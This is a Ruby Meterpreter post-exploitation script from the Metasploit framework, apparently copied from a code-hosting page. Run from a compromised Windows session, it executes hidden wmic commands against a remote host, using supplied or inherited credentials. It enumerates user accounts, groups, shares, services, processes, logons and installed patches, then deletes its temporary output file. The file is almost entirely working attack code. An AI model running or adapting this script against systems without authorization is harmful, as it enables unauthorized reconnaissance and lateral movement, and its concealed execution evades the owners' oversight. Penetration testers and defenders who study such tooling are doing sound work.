190 lines
5.8 KiB
Ruby
190 lines
5.8 KiB
Ruby
# $Id$
|
|
# $Revision$
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
#-------------------------------------------------------------------------------
|
|
################## Variable Declarations ##################
|
|
session = client
|
|
# Variables for Options
|
|
helpcall = 0
|
|
rusr = nil
|
|
rpass = nil
|
|
trg = ""
|
|
# Script Options
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "Help menu."],
|
|
"-t" => [ true, "The target address"],
|
|
"-u" => [ true, "User on the target system (If not provided it will use credential of process)"],
|
|
"-p" => [ true, "Password of user on target system"]
|
|
)
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
# WMIC Commands that will be executed on the Target
|
|
wmic = [
|
|
'environment list',
|
|
'share list',
|
|
'nicconfig list',
|
|
'computersystem list',
|
|
'useraccount list',
|
|
'group list',
|
|
'sysaccount list',
|
|
'volume list brief',
|
|
'logicaldisk get description,filesystem,name,size',
|
|
'netlogin get name,lastlogon,badpasswordcount',
|
|
'netclient list brief',
|
|
'netuse get name,username,connectiontype,localname',
|
|
'share get name,path',
|
|
'nteventlog get path,filename,writeable',
|
|
'service list brief',
|
|
'process list brief',
|
|
'startup list full',
|
|
'rdtoggle list',
|
|
'product get name,version',
|
|
'qfe list'
|
|
]
|
|
################## Function Declarations ##################
|
|
|
|
# Function for running a list of WMIC commands stored in a array, returs string
|
|
def wmicexec(session,wmic,user,pass,trgt)
|
|
print_status("Running WMIC Commands ....")
|
|
tmpout = ''
|
|
command = nil
|
|
runfail = 0
|
|
runningas = session.sys.config.getuid
|
|
begin
|
|
tmp = session.fs.file.expand_path("%TEMP%")
|
|
# Temporary file on windows host to store results
|
|
wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"
|
|
|
|
wmic.each do |wmi|
|
|
if user == nil
|
|
print_status("The commands will be ran under the credentials of #{runningas}")
|
|
command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
|
|
else
|
|
command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
|
|
end
|
|
print_status "\trunning command wimic #{wmi}"
|
|
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
|
sleep(1)
|
|
r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
|
sleep(1)
|
|
r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
|
|
sleep(1)
|
|
#print_status "\twmic #{command}"
|
|
r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
|
|
#Making sure that wmic finishes before executing next wmic command
|
|
prog2check = "wmic.exe"
|
|
found = 0
|
|
sleep(2)
|
|
while found == 0
|
|
session.sys.process.get_processes().each do |x|
|
|
found =1
|
|
if prog2check == (x['name'].downcase)
|
|
sleep(0.5)
|
|
found = 0
|
|
end
|
|
end
|
|
end
|
|
r.close
|
|
end
|
|
# Read the output file of the wmic commands
|
|
wmioutfile = session.fs.file.new(wmicfl, "rb")
|
|
until wmioutfile.eof?
|
|
tmpout << wmioutfile.read
|
|
end
|
|
# Close output file in host
|
|
wmioutfile.close
|
|
rescue ::Exception => e
|
|
print_status("Error running WMIC commands: #{e.class} #{e}")
|
|
end
|
|
# We delete the file with the wmic command output.
|
|
c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
|
|
c.close
|
|
tmpout
|
|
end
|
|
|
|
#------------------------------------------------------------------------------
|
|
# Function to generate report header
|
|
def headerbuid(session,target,dest)
|
|
# Header for File that will hold all the output of the commands
|
|
info = session.sys.config.sysinfo
|
|
header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
|
|
header << "Running as: #{client.sys.config.getuid}\n"
|
|
header << "From: #{info['Computer']}\n"
|
|
header << "OS: #{info['OS']}\n"
|
|
header << "Target: #{target}\n"
|
|
header << "\n\n\n"
|
|
|
|
print_status("Saving report to #{dest}")
|
|
header
|
|
|
|
end
|
|
|
|
#------------------------------------------------------------------------------
|
|
# Function Help Message
|
|
def helpmsg
|
|
print("Remote Windows Enumeration Meterpreter Script\n" +
|
|
"This script will enumerate windows hosts in the target enviroment\n" +
|
|
"given a username and password or using the credential under witch\n" +
|
|
"Meterpeter is running using WMI wmic windows native tool.\n" +
|
|
"Usage:\n" +
|
|
@@exec_opts.usage)
|
|
end
|
|
################## MAIN ##################
|
|
if client.platform =~ /win32|win64/
|
|
localos = session.sys.config.sysinfo
|
|
|
|
# Check that the command is not being ran on a Win2k host
|
|
# since wmic is not present in Windows 2000
|
|
if localos =~ /(Windows 2000)/
|
|
print_status("This script is not supported to be ran from Windows 2000 servers!!!")
|
|
else
|
|
# Parsing of Options
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
|
|
when "-t"
|
|
trg = val
|
|
when "-u"
|
|
rusr = val
|
|
when "-p"
|
|
rpass = val
|
|
when "-h"
|
|
helpmsg
|
|
helpcall = 1
|
|
end
|
|
|
|
}
|
|
#logfile name
|
|
dest = logs + "/" + trg + filenameinfo
|
|
# Executing main logic of the script
|
|
if helpcall == 0 and trg != ""
|
|
|
|
# Making sure that is running as System a Username and Password for target machine must be provided
|
|
|
|
if is_system? && rusr == nil && rpass == nil
|
|
|
|
print_status("Stopped: Running as System and no user provided for connecting to target!!")
|
|
|
|
else trg != nil && helpcall != 1
|
|
|
|
file_local_write(dest,headerbuid(session,trg,dest))
|
|
file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))
|
|
|
|
end
|
|
elsif helpcall == 0 and trg == ""
|
|
|
|
helpmsg
|
|
end
|
|
end
|
|
else
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end |